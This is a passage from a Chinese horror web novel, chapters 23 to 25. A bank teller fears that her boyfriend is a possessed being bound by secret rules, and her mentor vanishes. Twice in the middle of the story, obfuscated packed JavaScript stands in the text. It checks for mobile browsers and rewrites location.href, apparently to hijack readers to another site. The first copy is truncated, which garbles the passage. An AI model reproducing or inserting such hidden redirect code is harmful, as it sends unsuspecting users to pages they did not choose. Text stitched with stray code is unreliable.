“周行长留步,我们家陈默麻烦周行长多多照顾,她性格比较内向,也比较轴,有得罪的地方还请周行长多多包涵。改天请你吃饭。” “王总这说的哪的话,应该我请您才对,陈默在我手下做事您就放心吧!” 两人在门口又寒暄了几句。 陈默低着头,假装在办业务,但余光一直盯着那边。 王志强要走了。 但他没直接走。 他转过身,在大厅里扫了一眼。 扫过叫号机,扫过等候区,扫过填单台—— 最后停在老张身上。 老张坐在工位上,正在办业务,没抬头。 王志强看了他三秒。 就三秒。 然后他转身走了。 周行长送到门口,一直看着他的背影消失在门外,才转过身来。 她走回大厅,路过陈默窗口的时候,脚步顿了一下。 “陈默。” 陈默抬起头。 周行长看着她,脸上的笑还没完全收回去,但那眼神已经变回平时那样——公事公办的,带着点不耐烦的。 “那个户开好了。以后好好维护。” 就这一句。 然后她走了。 陈默坐在那儿,看着她的背影。 刚才还对王志强笑得那么殷勤,现在对她又是这副样子。 她突然明白了。 这大概就是她能当上行长的原因。 四 中午休息,陈默去茶水间接水。 老张也在。 他站在饮水机旁边,端着杯子,不知道在想什么。 陈默走过去。 “张哥。” 老张转过头,看着她。 那眼神,有点奇怪。 “陈默。” 陈默接完水,站在他旁边。 “怎么了?” 老张摇摇头。 “没事。” 他端着杯子走了。 陈默看着他的背影,有点纳闷。 老张今天话特别少。 平时他总会聊几句,说今天遇到什么奇葩客户,说周行长又发脾气了,说他养的乌龟最近不肯吃东西。 今天什么都没说。 五 下午上班的时候,陈默忍不住往老张那边看。 他一直在办业务,和平时一样。叫号,办业务,盖章,叫下一个。 但总觉得哪里不对。 说不出来。 就是不对。 快下班的时候,老张站起来,去了一趟洗手间。 路过陈默工位的时候,他停了一下。 “陈默。” 陈默抬起头。 老张看着她,表情有点复杂。 “你那个男朋友,今天来开户了?” 陈默点点头。 “嗯。” 老张张了张嘴,想说什么。 但最后只是叹了口气。 “没事。” 他走了。 陈默看着他的背影,心里有点不安。 老张想说什么? 六 那天晚上,陈默回到家。 王志强已经在家里了。 他坐在沙发上,看电视,和平时一样。 她换鞋,放下包,走过去坐下。 他没像平时那样伸手搂她,就坐在那儿,看着电视。 陈默也没说话。 两个人就那么坐着。 电视里放着什么新闻,主持人的声音平平的,没什么起伏。 过了一会儿,王志强开口了。 “今天那个老头,是你同事?” 陈默愣了一下。 “哪个?” “坐你对面的那个。” 老张。 “嗯,他是我师傅,我刚入行时他带的。” 王志强点点头。 没再说话。 陈默看着他,想从他脸上看出点什么。 但他脸上什么表情都没有。 就那么看着电视。 七 那天夜里,陈默做了个梦。 梦里老张站在她面前,穿着那件深蓝色的工装,袖口磨得发白。 “陈默,”他说,“小心点。” 她想问小心什么。 但老张转身走了。 越走越远,越走越远。 她追不上。 然后她就醒了。 凌晨三点。 王志强在旁边睡着,呼吸均匀。 她躺在那儿,盯着天花板,心跳得很快。 老张那句话,在梦里也在现实里。 “小心点。” 小心什么? 八 第二天早上,陈默到银行的时候,七点五十。 老张的工位空着。 她看了一眼,没多想。也许堵车。 八点,没来。 八点十分,没来。 八点半晨会,周行长点名点到“张建国”的时候,没人应。 陈默这才觉得不对。 老张八年没迟到过。 她掏出手机,给老张打电话。 关机。 又打了一遍。 还是关机。 发微信。 没回。 九 一上午,陈默都心不在焉。 办错了两笔业务,被客户说了几句。她道歉,重办,脸上没什么表情。 眼睛却一直往那个空位看。 老张的水杯还在桌上。那个旧水杯,白色的,杯壁上有一圈茶渍,把手那里缺了一个小口。他用了好多年了,一直舍不得换。 他的文件夹还码在那儿,整整齐齐一摞。他习惯把今天要办的业务提前准备好,按时间顺序排好。 他的工装外套还搭在椅子上。深蓝色的,袖口磨得发白。 人不在。 一切都和他平时一样。 但人不在。 十 中午休息,陈默去人事部找小李。 “小李,老张今天请假了吗?” 小李正在吃饭,抬起头。 “没有啊,他没来,电话也打不通。” 陈默攥紧手指。 “他昨天……有什么异常吗?” 小李想了想。 “没有吧?下班的时候还跟我打了个招呼,说‘明天见’。” 明天见。 今天他没来。 十一 下午三点,陈默去找周行长。 周行长在办公室,正在打电话。陈默站在门口等了一会儿,等她挂了电话才敲门。 “进来。” 陈默走进去。 “周行长,老张今天没来,电话也打不通。” 周行长抬起头。 “我知道,人事跟我说了。” “要不要报警?” 周行长皱起眉头。 “才一天,报什么警?” 陈默看着她。 周行长也看着她。 “陈默,我知道他带你入行。但一天没来,不算失踪。明天再说。” 陈默站着没动。 “他八年没请过假。” 周行长叹了口气。 “行,我知道了。我会让人事再联系他。你先回去工作。” 陈默转身走了。 十二 走出行长办公室,陈默站在走廊里,靠着墙。 脑子里反复转着一个画面。 昨天,王志强走之前,看了老张一眼。 就三秒。 然后今天,老张没来。 她想起老张昨天下午说的话。 “你那个男朋友,今天来开户了?” 她想起老张想说什么又咽回去的样子。 她想起老张最后那个眼神。 那个眼神,现在回想起来,带着一点害怕。 老张在害怕什么?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387635|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 十三 晚上下班,陈默一个人走出银行。 天已经黑了,路灯亮着,街上人不多。 她站在门口,看着那条走了五年的路。 平时都是和老张一起走一段。 今天只有她一个人。 地铁上人很多,她被挤在车门旁边,看着窗外隧道里的灯一盏一盏往后闪。 脑子里全是老张。 老张在哪儿? 为什么不接电话? 为什么关机? 是不是…… 她不敢往下想。 但她控制不住自己。 那个念头一直在那儿。 王志强看了他一眼。 然后他就不见了。 十四 出了地铁站,陈默往小区走。 走到楼下的时候,她抬头看七楼的窗户。 亮着灯。 王志强在家。 她站在那儿,看着那扇窗,突然意识到一件事—— 最近,他每天都在。 没有应酬,没有酒局,没有“晚上不回来”。 她几点到家,他几点都在。 等她。 像专门在家盯着她。 这个念头一冒出来,她后背一阵发凉。 她在楼下站了很久,才走进去。 十五 推开门,屋里开着灯。 王志强坐在沙发上,看电视。 听见门响,他转过头,笑了一下。 “回来了?” 陈默点点头。 “嗯。” 她换鞋,放下包,走进客厅。 他拍了拍身边的位置。 “过来坐。” 她走过去,坐下。 他伸手把她搂过去。 “今天怎么这么晚?” “加班。” 他没再问。 电视里放着什么综艺节目,罐头笑声一阵一阵的。 陈默靠在他身上,一动不动。 脑子里却在想另一件事。 老张失踪那天,他在家吗? 她记不清了。 她只记得,他看了老张一眼。 然后老张就不见了。 十六 那天夜里,陈默失眠了。 她躺在床上,睁着眼,盯着天花板。 王志强在旁边,睡着,呼吸均匀。 她慢慢转过头,看着他的侧脸。 黑暗里,那张脸很平静。 但她知道,那不是平静。 是别的。 她不知道那是什么。 但她想起一件事—— 老张看见过他。 在小区门口,半夜十二点,站着,一动不动,然后突然不见了。 老张告诉她了。 然后老张就不见了。 她盯着那张侧脸,盯了很久。 那只凉的手,会不会也碰过老张的脸? 那个黑暗里的东西,会不会也站在老张的床边? 她不知道。 但她知道,她害怕了。 十七 第二天,老张还是没来。 电话还是关机。 微信还是没回。 周行长报了警。 警察来了,问了几个人,做了笔录,走了。 陈默被叫去问话的时候,警察问她老张最近有没有异常。 她犹豫了一下。 “没有。” 她没提王志强。 她不知道该怎么说。 说他在小区门口见过我男朋友然后就不见了? 说王志强开户那天看了他一眼? 警察会信吗? 她自己都不确定是不是真的。 十八 晚上回家,王志强又在。 坐在沙发上,看电视。 和昨天一样。 和前天一样。 和每一天一样。 陈默换鞋,放下包,走过去坐下。 他伸手搂她。 她没躲。 电视里放着什么,她没看进去。 她只是靠在那个散发着油味的胸口,想着一个问题—— 老张在哪儿? 那只凉的手,有没有碰过他? 那片黑暗,有没有吞没过他? 她不知道。 她只知道,她不敢问。 不敢问王志强。 不敢问任何人。 因为问了,也许下一个不见的,就是她。 十九 那天夜里,陈默又做了那个梦。 梦里老张站在她面前,穿着那件旧工装。 “陈默,”他说,“小心点。” 然后他转身走了。 越走越远。 她想追,但迈不动腿。 老张回过头,看了她一眼。 那眼神,带着害怕。 然后他就消失在黑暗里。 陈默醒了。 浑身冷汗。 王志强在旁边睡着,呼吸均匀。 她躺在那儿,盯着天花板,一直到天亮。 --- 第二十三章完 24. 第二十四章 断线重连 第二十四章断线重连 一 老张失踪的第二十三天。 陈默坐在工位上,盯着电脑屏幕,手指机械地敲着键盘。一笔业务办完,叫下一个号,再办一笔,再叫下一个号。 生活就是这样。 诡异又平淡地过着。 老张的工位还空着。他的水杯还在,那个缺了口的白瓷杯;他的文件夹还在,整整齐齐一摞;他的工装外套还在,深蓝色的,袖口磨得发白。 人事说先放着,万一哪天联系上家属呢。 所以那些东西就那么放着。 像在等他回来。 但陈默知道,他不会回来了。 她不知道为什么知道。 就是知道。 二 每天晚上回家,都是一样的场景。 推开门,屋里开着灯。 王志强坐在沙发上,看电视。 听见门响,他转过头,笑一下。 “回来了?” 陈默点点头。 “嗯。” 她换鞋,放下包,走过去坐下。 他伸手搂她。 她靠在他身上。 电视里放着什么,她看不进去。 这种日子,过了二十三天了。 每天都是这样。 一模一样。 有时候她会想一个很荒谬的问题—— 他是不是一直坐在这儿? 从她早上出门开始,就一直坐在这儿? 她早上八点出门,他坐在沙发上。 她晚上七点回来,他还在沙发上。 位置没变,姿势没变,连电视里放的节目都差不多。 就像她一出门,他就断线了。 像一台待机的机器,屏幕黑着,风扇停转,什么都不做。 然后她一推门,他就重连了。 屏幕亮起来,风扇转起来,开始运行“丈夫”这个程序。 “回来了?” 笑一下。 拍拍身边的位置。 伸手搂她。 每天都一样。 一模一样。 这个念头很荒谬,但陈默控制不住。 她试过观察细节。 有一天,她特意在出门前看了一眼他穿的什么衣服。 灰色卫衣,黑色运动裤。 晚上回来,他还是那身。 灰色卫衣,黑色运动裤。 没换。 但明明她出门的时候,他穿着那身坐在沙发上。 她一整天不在,他难道没动过? 没上厕所?没喝水?没吃饭? 第二天,她又试了一次。 这次她出门前,偷偷在茶几上放了一根头发。 细细的,黑色的,就放在遥控器旁边。 晚上回来,那根头发还在原地。 一模一样的位置。 没动过。 他难道一整天没碰过遥控器? 第三天,她更过分了。 出门前,她在厨房门口里滴了一滴油。 就一滴,看得见。 晚上回来,那滴油还在。 没被踩过。 一整天,他没进过厨房? 她不敢再想下去了。 三 第二十三天下午,陈默下班了。 走出银行大门,天已经黑了。十二月天黑得早,路灯亮着,街上人来人往。 她站在门口,看着那些人。 有人在打电话,有人在等车,有人拎着菜匆匆走过。 都很正常。 只有她不正常。 她不想回家。 那个家,有他在。 那个坐在沙发上等她的人。 那个一整天可能都没动过的人。 那个只有她回来才“重连”的人。 她不想回去。 她站在门口,站了很久。 然后她转身,往另一个方向走。 四 走了大概十分钟,她看见一家咖啡店。 很小的一家店,暖黄的灯光从窗户透出来,里面坐着几桌客人,有人在看书,有人在聊天,有人在敲电脑。 陈默推门进去。 门上的铃铛响了一下。 店员抬起头,笑着说“欢迎光临”。 她找了个靠窗的位置坐下。 窗外是街,车来车往。 很正常的世界。 她坐在这儿,像一个正常人。 “您好,请问喝点什么?” 店员是个年轻女孩,扎着马尾,笑得很甜。 “拿铁。” “好的,稍等。” 她走了。 陈默转过头,继续看窗外。 窗玻璃上有一层薄薄的水汽,外面的灯光变得朦胧。她看着那些模糊的光点,脑子里空空的。 什么都不想。 就这样坐着。 挺好。 五 店员端咖啡过来。 放下杯子的时候,她看了陈默一眼。 “小姐,有位先生让我把这个给您。” 一张纸条。 叠得整整齐齐的。 陈默愣住了。 “什么先生?” 店员摇摇头。 “不知道,他刚才走的时候给我的,说等那位靠窗的女士来了,把这个给她。我问他是谁,他没说就走了。” 陈默接过纸条。 店员走了。 她低头看着那张纸条。 普通的白纸,普通的叠法。边角有点毛糙,像是从笔记本上撕下来的。 她打开。 上面只有一行字,圆珠笔写的,字迹有点潦草: “真正的他,不能吃你做的饭。” 陈默盯着那行字,看了很久。 心跳得很快。 新规则。 又是新规则。 和那张旧纸条一模一样的字迹。 那个老人。 那个雨天来存一分钱的老人。 他还活着? 还是……别人? 她猛地抬起头,往窗外看。 街上人来人往。 没有老人。 没有可疑的人。 只有普通的行人,匆匆走过。 她站起来,走到门口,推开门,往两边看。 左边是便利店,亮着灯,有人在排队结账。 右边是水果店,老板正在往外搬箱子。 没有人回头看她。 没有人可疑。 她站了一会儿,冷风吹得她直哆嗦。 然后她回到座位上。 咖啡还冒着热气。 她把那张纸条看了又看。 “真正的他,不能吃你做的饭。” 什么意思? 六 她在咖啡店坐了很久。 咖啡凉了,她没喝。 窗外天更黑了,人少了,车也少了。路灯亮着,照着空荡荡的街。 店员过来问她还要不要点什么,她摇摇头,结了账,站起来。 走出咖啡店的时候,冷风扑面而来。 她把纸条攥在手心里,攥得紧紧的。 往家走。 脑子里一直在想一个问题。 她做的饭。 她做过饭吗? 当然做过。 七 刚在一起的时候,她经常做饭。 那时候租的房子小,厨房也小,转个身都费劲。但她喜欢做饭,喜欢看他吃她做的饭。 那时候他什么都吃。 做得不好也吃。 有一次她做糊了,他也吃完了。 她问他好吃吗,他说好吃。 她不信,他说真的好吃,你做的都好吃。 他说我好养活,你给我两个馒头我都能吃。 那时候他多好啊。 后来呢? 后来…… 八 不知道从什么时候开始,他变了。 也不是变,就是…… 他开始挑毛病了。 第一次,她做了红烧肉。 他吃了两口,说:“今天盐放多了吧?” 她尝了一口,不咸啊。 但他说多了,她就说“下次少放点”。 第二次,她做了鱼。 他吃了两口,说:“有点腥。” 她愣了,鲈鱼她处理得很干净,不腥啊。 但她没说什么,就说“下次换一种鱼”。 第三次,她做了青菜。 他吃了两口,说:“炒老了。” 她看着那盘翠绿的青菜,火候正好。 但她还是说“下次注意”。 一开始就是这样。 他说什么,她就听着。 她想,可能是他口味变了。 可能是她真的做得不好。 可能是他厌倦了她 可能是…… 总之她没多想。 九 但他从来不会发火,不会骂人。 就是很平常地说一句。 “咸了点。” “有点腥。” “炒老了。” 说完继续吃,吃几口,放下筷子。 她问他怎么不吃了,他说饱了。 她问他是不是不好吃,他说还行。 就是很正常的反应。 没有任何可疑的地方。 就是普通夫妻之间那种“你做的菜我不太爱吃”的日常。 所以她从来没往别处想。 她想,可能她真的不擅长做饭。 那就不做呗。 反正他会做。 十 后来他真的开始做饭了。 他记得陈默爱吃鸡,总会炒鸡给陈默吃。 其实王志强也不太擅长做饭,他总是炒不熟鸡杂,他会把鸡杂端到一边告诉陈默别吃了。他会炖一大盆又腥又没味的鱼,然后不好意思的给陈默说“哎呀宝贝,别吃这个菜了,这个鱼我吃。” 他总会在做饭的时候就把垃圾收拾了,把台面擦干净。 偶尔陈默再做的时候,他也不说什么了,就是吃得少。 每个菜吃一两口,然后放下筷子。 她还是问他,好吃吗? 他说还行。 饱了吗? 饱了。 就是很正常的对话。 她没觉得有什么不对。 十一 只有两次,他生病的时候,她做了饭。 第一次他感冒,想吃面。 她下了西红柿鸡蛋面,端到他面前。 他吃了两口。 “有点酸。”他说。 她愣了,西红柿鸡蛋面当然会酸啊。 但她没说什么,就说“下次少放点西红柿”。 他点点头,继续吃。 吃了小半碗,放下了。 她问他怎么不吃了,他说没胃口。 很正常。 生病嘛,没胃口正常。 第二次他肠胃炎,她煮了皮蛋瘦肉粥。 端到他面前。 他吃了两口。 “有点腻。”他说。 她愣了,皮蛋瘦肉粥,腻吗? 但她还是说“下次煮清淡点”。 他点点头,继续吃。 吃了小半碗,放下了。 还是没胃口。 很正常。 生病人就这样。 她从来没觉得有什么不对。 那些对话,那些反应,都太正常了。 正常到根本不值得记住。 正常到她现在回忆起来,都要使劲想才能想起来。 十二 但现在,她突然想起来了。 那些“正常”里,有一个共同点—— 他从来没吃完过她做的饭。 从来没吃完过。 不管是什么。 红烧肉,鱼,青菜,面,粥。 他永远只吃几口,然后放下筷子。 永远有理由。 咸了,腥了,老了,酸了,腻了。 永远有理由。 但那些理由,都太正常了。 正常到她从来没怀疑过。 十三 陈默攥着那张纸条,往家走。 脑子里反复转着一个念头。 他不能吃她做的饭。 不能吃。 那他以前那些“正常”的反应…… 是装的? 还是…… 她不知道。 她只知道,她必须弄清楚。 十四 到家的时候,已经快九点了。 她站在楼下,抬头看七楼的窗户。 亮着灯。 他在家。 她深吸一口气,走进去。 电梯上行,门开,掏钥匙,开门。 屋里开着灯。 王志强坐在沙发上,看电视。 听见门响,他转过头,笑了一下。 “回来了?” 陈默点点头。 “嗯。” 她换鞋,放下包,走进客厅。 他拍了拍身边的位置。 “过来坐。” 她走过去,坐下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387636|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸手搂她。 她靠在他身上。 一切都和每天一样。 一模一样。 就像她只是离开了五分钟,而不是好几个小时。 就像他一直坐在这儿,从来没动过。 就像她一出门,他就断线了。 她一回来,他就重连了。 十五 陈默靠在他身上,闻着那股淡淡的油味。 比以前浓了一点。 但也不算太明显。 她坐了一会儿,突然开口。 “你饿不饿?” 他愣了一下。 “什么?” “我给你下碗面。” 他没说话。 就看着她。 那两只眼睛,在灯光下,和平常一样。 没有发光,没有异常。 就是普通人的眼睛。 他看着她,看了几秒。 然后他笑了。 那个笑,也和平时一样。 温暖,平常,没有任何特别。 “好啊。”他说。 十六 陈默站起来,走进厨房。 打开冰箱,拿了鸡蛋,西红柿,挂面。 点火,烧水。 切西红柿的时候,她回头看了一眼。 王志强还坐在沙发上。 没有跟过来。 没有站在门口看她。 就坐在那儿,看电视。 和平时一样。 她转回去,继续切。 水开了,下面,打鸡蛋,放西红柿。 香味飘起来。 她盛出来,端到饭桌上。 “好了。” 王志强站起来,走过来,坐下。 拿起筷子。 他看着那碗面。 看了一会儿。 然后他抬起头,看着她。 笑了一下。 “看起来不错。” 他低下头,开始吃。 第一口。 第二口。 第三口。 他一口一口地吃,没有停顿。 没有说酸。 没有说任何话。 就那么吃。 一碗面,他吃完了。 放下筷子,他抬起头,看着她。 “好吃。”他说。 十七 陈默站在那儿,看着他。 他吃了。 他吃完了。 他没挑毛病。 和以前完全不一样。 但他说“好吃”的时候,表情很正常。 笑也正常。 眼睛也正常。 没有任何诡异的地方。 就是一个人吃完一碗面,说“好吃”的正常反应。 陈默不知道该说什么。 她只是站在那儿,看着他。 他站起来,走到她面前。 低头看着她。 那两只眼睛,很正常。 “怎么了?”他问。 陈默摇摇头。 “没事。” 他伸手,揉了揉她的头发。 “面很好吃,下次再做。” 他转身,走进卧室。 陈默站在饭桌旁,看着那个空碗。 碗里干干净净,一点汤都没剩。 她想起那张纸条上的话。 “真正的他,不能吃你做的饭。” 不能吃。 但他吃了。 他吃完了。 他说好吃。 和以前完全不一样。 但那个“不一样”,到底意味着什么? 是因为他真的不能吃,所以以前都是装的? 还是因为他能吃了,所以有什么东西变了? 她不知道。 她只知道,他刚才的反应,太正常了。 正常到让她害怕。 十八 那天夜里,陈默又失眠了。 她躺在床上,睁着眼,盯着天花板。 王志强在旁边,睡着,呼吸均匀。 那股味道,还是那个浓度。 没有变浓,没有变淡。 就是那个味道。 她慢慢转过头,看他的脸。 黑暗里,那张脸,很平静。 和每天一样。 和以前一样。 没有任何异常。 她想起他今天吃面的样子。 和以前完全不一样。 但他的表情,他的反应,他的每一句话—— 都太正常了。 正常到她找不出任何破绽。 正常到她开始怀疑,那张纸条是不是假的。 正常到她开始想,也许以前那些“只吃几口”,真的只是因为他胃口不好。 也许他今天胃口好,所以吃完了。 也许就是这么简单。 也许什么都没有。 十九 但她睡不着。 她盯着那张平静的脸,盯了很久。 然后她闭上眼睛。 脑子里只有一个念头—— 明天,她还要回家。 他还会坐在沙发上。 还会说“回来了”。 还会拍身边的位置。 还会伸手搂她。 和每天一样。 和每天一模一样。 就像她从来没离开过。 就像他一直坐在那儿。 断线,重连。 断线,重连。 每天都在重复。 她不知道这样的日子还要过多久。 她只知道,她逃不掉。 因为没地方可逃。 二十 天亮的时候,陈默起床。 王志强已经不在了。 她洗漱,换衣服,化妆。 镜子里的自己,眼袋又重了一点,脸色又灰了一点。 那双眼睛里的亮,还在。 但比前几天淡了一点。 也许是因为没睡好。 也许是因为…… 她不知道。 她盯着那双眼睛,看了很久。 然后她下楼,去上班。 路过厨房的时候,她看见那个碗。 还放在桌上。 干干净净的碗。 她站了一会儿。 然后推开门,走出去。 外面阳光很好。 新的一天开始了。 和昨天一样。 和明天一样。 和以后每一天一样。 --- 第二十四章完 25. 第二十五章 赌一把 第二十五章赌一把 一 陈默做了一个决定。 这个决定是在凌晨三点冒出来的。她躺在床上,盯着天花板,王志强在旁边睡着,呼吸均匀。那股油味比昨天又浓了一点,浓到她躺在床上都能闻见自己身上也沾上了。 她睡不着。 脑子里反复转着那张新纸条上的话。 “真正的他,不能吃你做的饭。” 不能吃。 但他已经吃了。 就在昨天,她做的那碗面,他全吃完了。 吃完之后,他说“好吃”,然后那个诡异的笑——她现在想起来还后背发凉。 她不知道这意味着什么。 但她知道,他变了。 从她收到那张纸条开始,一切都在变。 那张纸条,那个老人,那枚一分钱硬币——像一颗石子扔进平静的水面,涟漪一圈一圈地扩散,到现在已经变成了漩涡。 她想起那条旧规则第四条:真正的他,从不洗澡。 从不洗澡。 三年了,她从来没见过他洗澡。 一次都没有。 她以前没注意过这件事。谁会注意自己的男朋友洗不洗澡?你默认他会洗,就像你默认他会吃饭、会睡觉、会呼吸一样。 但现在她知道了。 他不洗澡。 三年,一千多个日夜,他从来没让水碰过他的身体。 她不知道这是不是他的规则。 但她想试试。 二 第二天是周六。 陈默醒来的时候,阳光已经照满了整个卧室。她眨了眨眼,适应了一下光线,然后转过头。 王志强不在旁边。 她坐起来,听客厅里的动静。 电视的声音。 他在看电视。 和每一个周末的早晨一样。 她下床,走到客厅。 他坐在沙发上,手里拿着遥控器,屏幕上放着什么早间新闻,主持人的声音平平的。 听见脚步声,他转过头,笑了一下。 “早。” 陈默点点头。 “早。” 她走过去,在他旁边坐下。 他伸手搂她。 她靠在他身上。 那股油味飘进鼻子里。比以前浓了一点,但闻久了就习惯了。就像你习惯一个房间里永远有某种气味,直到有一天你离开那个房间,才想起来原来空气可以是无味的。 “王志强。”她开口。 “嗯?” “你今天有事吗?” 他想了想。 “没有。怎么了?” 她抬起头,看着他。 那张脸,和平时一样。高挺的鼻梁,微凸的嘴,连成一片的下巴。四十多岁的中年男人,普通得不能再普通。 但她知道,那只是表面。 “我想……你陪我洗个澡。” 他愣住了。 那两只眼睛,在早上的光线里,很正常。但她看见他的瞳孔缩了一下——不是平时那种自然的收缩,是被光线刺激到的收缩,而是另一种收缩,像有人突然掐住了他的心脏。 “什么?” “陪我洗个澡。”她说,声音尽量保持平静,“我买了新的浴盐,一个人泡没意思。你陪我一起。” 他看着她,没说话。 那眼神,她读不懂。 有恐惧。 有挣扎。 还有一点……渴望? 她不知道。 “我不爱洗澡。”他说。 “我知道。”她靠回他身上,“就这一次。陪我一次。” 他没说话。 她也没说话。 两个人就这么坐着。电视里继续放着新闻,主持人说今天最高气温多少度,说某条路正在施工请绕行,说某地发生了一起什么事故。 那些声音从耳边飘过,她一个字都没听进去。 她只听见自己的心跳。 咚,咚,咚。 和他的心跳不一样。他的心跳太规律了,像一个精准的节拍器,一下一下,永远不变。 过了很久,他开口了。 “好。” 就一个字。 但那个字,说得比平时慢。 慢到她能听见那个音节从他喉咙里挤出来的过程。 三 陈默站起来,走进浴室。 放水。 热水从水龙头里冲出来,砸在浴缸底部,发出哗哗的声音。热气升腾起来,很快整个浴室就雾气蒙蒙的。 她把浴盐倒进去。 浴盐是她上周买的,一直没拆封。本来是想自己泡澡用的,但她一个人懒得弄,就一直放在柜子里。 水变成淡淡的蓝色,香味飘起来。是薰衣草的味道,她说不上喜欢还是不喜欢,就是那种“浴室该有的味道”。 她站在浴室门口,回头看他。 他还在沙发上坐着。 没动。 “王志强,水放好了。” 他慢慢站起来。 走过来。 每一步都走得很慢,像走向刑场。 他站在她面前。 低头看着她。 那两只眼睛,在浴室的光线里,有一点发亮。不是发光,是雾气折射的那种亮,但她知道不是。 “你确定?”他问。 陈默点头。 他看了她很久。 然后他笑了。 那个笑,和平时不一样。 不是敷衍的笑,不是贴上去的笑。 是一种她看不懂的笑。 像是认命。 像是解脱。 像是终于等到了这一天。 “好。”他说。 他走进去。 四 陈默没进去。 她站在门外,听着里面的声音。 水声响起的那一刻,她的心跳停了一拍。 那是真正的、人洗澡的水声。 水打在皮肤上的声音。 人转身时带起的水声。 水从身上流下去的声音。 这些声音她每天都能听见——她自己洗澡的时候就是这样。但从他那里听见,还是第一次。 三年了。 第一次。 然后她听见一声低吼。 很轻,但她听见了。 像痛苦,又像解脱。 像一个人被压在水下很久很久,终于浮出水面呼吸到第一口空气时发出的声音。 水声响了很久。 五分钟。 十分钟。 十五分钟。 二十分钟。 三十分钟。 她站在门外,一动不动。腿有点酸,但她没动。她怕一动,里面的声音就会停下来。她怕一动,这一切就会被打断。 她不知道自己在等什么。 等那个声音结束? 等他出来? 等他变回人? 还是等那个东西出现? 她不知道。 她只知道她必须站在那里。 三十二分钟的时候,水声停了。 然后是一片安静。 那种安静很诡异。刚才还那么吵,现在突然什么都听不见了。连他擦身子的声音都没有,连他穿衣服的声音都没有,什么都没有。 她屏住呼吸。 然后门开了。 五 王志强站在浴室门口,看着她。 她愣在原地。 那个人,不是她认识的王志强。 身上的味道消失了——那油油的、腻腻的、甜酸甜酸的味道,一点都没了。取而代之的是沐浴露的香味,正常的、该有的味道。 眼睛不再发光——是正常的、人的眼睛。眼白是白的,瞳孔是黑的,在光线里正常地收缩。 皮肤是正常的温度——隔着两步远,她都能感觉到那股热气从浴室里涌出来,带着水汽,带着温暖。 他看着她。 那眼神,是她三年没见过的。 不是那个敷衍的笑,不是那个贴上去的笑,不是那个空壳。 是真正的他。 “陈默。”他开口。 声音沙哑,像很久没说过话。像一个被关了三年的人,第一次开口。 她站在原地,说不出话。 他走过来,走到她面前。 低头看着她。 水珠从他头发上滴下来,滴在她的手背上。温的。 “谢谢你。”他说。 她愣住。 “谢谢……什么?” 他笑了。 那个笑,是真的。眼睛弯起来,嘴角翘起来,和正常人一样。 “谢谢你让我洗了这个澡。三年了,我第一次……能做几分钟自己。” 她看着他,眼眶突然酸了。 他伸出手,放在她脸上。 那只手,是温的。 正常的温度。 “陈默,你听我说。我时间不多。” 他语速很快。 “我有规则。五条规则。每一条都是‘从不’。从不洗澡,从不照镜子,不能开灯睡觉,不能吃你做的饭,还有最后一条。” 她盯着他的眼睛。 “你破了第一条。水能洗掉它,但只能洗掉表面。根还在。它很快就会回来。” 她脑子里“嗡”的一声。 规则。 他也有规则。 她从来不知道。 “你……你也有规则?” 他点头。 “每一个被选中的人,都有规则。老人有,老张有,我有,你也有。” 她愣住了。 “老张?” “对。老张也是被选中的人。他收到了老人的规则,遵守了大部分。但他违反了第六条——不能回头看。所以他消失了。” “老张……消失了?” “不是死。是被它带走了。每一个违反规则的人,都会被它带走。变成它的养料。” 他看着她,眼神复杂。 “我也是被选中的人。老张把规则传给了我。我遵守了四年。四年里,我没有洗过澡,没有照过镜子,没有开灯睡过觉,没有吃过你做的饭,没有……” 他顿住了。 “没有什么?” 他看着她。 那眼神,有点痛苦。 “我不能说。最后一条,我不能说。” “为什么?” “因为说了,它就会知道。” 他的眼睛开始闪烁。 光,一点一点地亮起来。 “它要回来了。”他说,语速更快,“陈默,你记住。我还有最后一条规则。破了它,我就没了。但你会自由。” “自由?什么意思?” “它是我养大的。我没了我,它也没了。你会自由。” 他的眼睛越来越亮。 “最后一条规则是什么?你告诉我,我帮你破——” 话没说完。 光完全亮了。 他站直了,看着她。 笑了一下。 “怎么了?” 那个笑,又变回贴上去的。 陈默站在原地,看着他。 他知道自己是谁吗? 他记得刚才说过什么吗? 不记得了。 他什么都不记得了。 “没什么。”她说。 他点点头,转身走进卧室。 陈默站在客厅里,手心全是汗。 最后一条规则是什么? 他没说。 他说“不能说”。 说了,它就会知道。 它是什么? 是那个东西吗? 那个藏在他身体里的东西? 六 那天晚上,王志强很早就睡了。 陈默躺在床上,听着他的呼吸。 他睡着,呼吸均匀。 和平时一样。 但她知道,不一样了。 她知道他有规则了。 五条。 第一条:从不洗澡——今天破了。 第二条:从不照镜子——还不知道。 第三条:不能开灯睡觉——还不知道。 第四条:不能吃她做的饭——昨天破了。 第五条:最后一条——不知道是什么。 昨天,他吃了她做的面。 今天,他洗了澡。 两条了。 还有三条。 她不知道那三条是什么。 但她可以试。 一条一条地试。 七 她转过头,看着他的侧脸。 月光从窗帘缝里漏进来,照在他脸上。 那张脸,很平静。 但她盯着看的时候,突然发现一件事。 他的皮肤底下,有什么东西在动。 很细微。 像虫子在皮下爬。 她屏住呼吸。 那些蠕动的东西,从脸颊爬到额头,从额头爬到脖子,从脖子爬到胸口。 然后,他的眼睛睁开了。 在黑暗里,那两只眼睛发着光。 盯着她。 她浑身一僵。 他没动。 她也没动。 两个人就这么对视着。 